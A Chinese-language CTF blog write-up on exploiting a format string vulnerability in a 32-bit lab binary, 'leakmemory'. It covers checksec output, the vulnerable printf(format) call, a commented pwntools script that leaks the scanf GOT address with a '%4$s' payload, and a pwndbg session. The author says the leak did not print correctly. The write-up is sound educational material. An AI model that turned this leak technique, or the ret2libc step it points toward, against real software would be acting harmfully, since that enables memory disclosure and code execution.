格式化字符串(上--低阶)
leakmemory
1.IDA+checksec
cpp
$ checksec leakmemory
[*] '/home/Debug/Desktop/leakmemory/leakmemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[100]; // [esp+0h] [ebp-78h] BYREF
int v5; // [esp+64h] [ebp-14h]
int a; // [esp+68h] [ebp-10h]
int v7; // [esp+6Ch] [ebp-Ch]
v7 = 1;
a = 572662306;
v5 = -1;
read(&unk_8048560, format);
printf("%08x.%08x.%08x.%s\n", v7, a, v5, format);
printf(format);
return 0;
}
2.格式化字符串利用
我们首先按照传统方法计算偏移量

可以看到偏移量为4
3.利用思路
首先是泄漏函数地址
cpp
# 导入pwntools库,这是CTF中PWN方向最常用的工具库,提供了进程交互、二进制分析、数据打包等功能
from pwn import *
# 创建一个本地进程,运行当前目录下的leakmemory可执行文件
# sh 是与目标程序交互的句柄,可以通过它发送数据、接收输出
sh = process('./leakmemory')
# 解析leakmemory二进制文件,获取其ELF结构信息(如GOT表、PLT表、函数地址等)
leakmemory = ELF('./leakmemory')
# 从GOT表中获取__isoc99_scanf函数的全局偏移表项地址
# GOT(Global Offset Table)是用来存储函数实际地址的表,程序运行时会动态解析填充
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
# 以16进制形式打印__isoc99_scanf的GOT地址,方便调试查看
print(hex(__isoc99_scanf_got))
# 构造格式化字符串漏洞的payload:
# 1. p32(__isoc99_scanf_got):将GOT地址打包成32位小端序的字节流(针对32位程序)
# 2. %4$s:格式化字符串,%s表示读取字符串,4表示取栈上第4个参数的地址,读取该地址指向的内容
# 整体逻辑:将GOT地址放到栈上,通过%4$s读取该地址指向的scanf函数实际内存地址(即libc中的scanf地址)
payload = p32(__isoc99_scanf_got) + '%4$s'
# 附加GDB调试器到目标进程,方便调试漏洞利用过程
gdb.attach(sh)
# 向目标程序发送构造好的payload(发送一行,自动加换行符)
sh.sendline(payload)
# 接收输出直到'%4$s\n'这个字符串位置,过滤掉无关输出
sh.recvuntil('%4$s\n')
# 读取泄露出来的scanf函数实际地址(原代码中rec未定义,这里补全)
rec = u32(sh.recv(4)) # 32位程序读取4字节,并用u32解析为整数
# 以16进制打印泄露的地址,用于后续计算libc基址
print(hex(rec))
# 进入交互模式,接管目标程序的输入输出,方便执行后续操作(如getshell)
sh.interactive()
泄漏完地址后就是按照ret2libc或者直接LibcSearcher的方式来进行利用
4.调试过程
cpp
pwndbg>
0xf7d733fb 533 in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
EAX 0x9
EBX 0xf7ed6880 (_IO_file_jumps) ◂--- 0x0
ECX 0x84ad160 ---▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) ---▸ 0xf7d63e00 (__isoc99_scanf) ◂--- push ebp
EDX 0x1000
EDI 0xf7ed8000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x1d7d8c
ESI 0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
EBP 0xffe33b08 ---▸ 0xffe34158 ---▸ 0xffe34198 ---▸ 0xffe34228 ◂--- 0x0
*ESP 0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb byte ptr es:[edi], dx /* 'ld-linux.so.2' */
*EIP 0xf7d733fb (_IO_file_underflow+331) ◂--- test eax, eax
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
0xf7de6e6e <read+46> add esp, 0x14
0xf7de6e71 <read+49> pop ebx
0xf7de6e72 <read+50> pop esi
0xf7de6e73 <read+51> ret
↓
0xf7d733f8 <_IO_file_underflow+328> add esp, 0x10
► 0xf7d733fb <_IO_file_underflow+331> test eax, eax
↓
0xf7d733ff <_IO_file_underflow+335> mov ebx, dword ptr [esi + 0x50]
0xf7d73402 <_IO_file_underflow+338> mov ecx, dword ptr [esi + 0x4c]
0xf7d73405 <_IO_file_underflow+341> add dword ptr [esi + 8], eax
0xf7d73408 <_IO_file_underflow+344> mov edx, ebx
0xf7d7340a <_IO_file_underflow+346> and edx, ecx
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb byte ptr es:[edi], dx /* 'ld-linux.so.2' */
01:0004│ 0xffe33ae4 ◂--- 0x7d4
02:0008│ 0xffe33ae8 ---▸ 0xf7ed6220 (_IO_helper_jumps) ◂--- 0x0
03:000c│ 0xffe33aec ---▸ 0xf7edba20 ◂--- 0x0
04:0010│ 0xffe33af0 ◂--- 0x3
05:0014│ 0xffe33af4 ---▸ 0xf7f29000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x26f34
06:0018│ 0xffe33af8 ---▸ 0xf7d732bb (_IO_file_underflow+11) ◂--- add edi, 0x164d45
07:001c│ 0xffe33afc ---▸ 0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 f7d733fb _IO_file_underflow+331
f 1 f7d7451b _IO_default_uflow+59
f 2 f7d57e31 _IO_vfscanf+4033
f 3 f7d63e7d __isoc99_scanf+125
f 4 80484a2 main+55
f 5 f7d18fa1 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0xf7d63e00
00:0000│ 0xf7d63e00 (__isoc99_scanf) ◂--- push ebp
01:0004│ 0xf7d63e04 (__isoc99_scanf+4) ◂--- push esi
02:0008│ 0xf7d63e08 (__isoc99_scanf+8) ◂--- or eax, 0xf6c78100 /* '\r' */
03:000c│ 0xf7d63e0c (__isoc99_scanf+12) ◂--- test byte ptr [ecx + 0x17], 0
04:0010│ 0xf7d63e10 (__isoc99_scanf+16) ◂--- push ebx
05:0014│ 0xf7d63e14 (__isoc99_scanf+20) ◂--- mov eax, dword ptr [edi - 0x18]
06:0018│ 0xf7d63e18 (__isoc99_scanf+24) ◂--- 0x308bffff
07:001c│ 0xf7d63e1c (__isoc99_scanf+28) ◂--- mov dword ptr [ebp - 0x1c], eax
输出的时候就会直接输出原__isoc99_scanf的got地址(这里我出了点问题,没能把那个对应的真实地址输出出来,但是我在调试的时候是可以看到对应地址的)

本人实力尚弱,在一些长难题面前会多停一会儿,因此在我的Blog中可能不会出现一些盲打(blind)的题目,但是各位在下面实操时,可以选择一些具有典型性和稍微有些难度的题目进行沉淀练习,愿大家进步不停,不停进步💪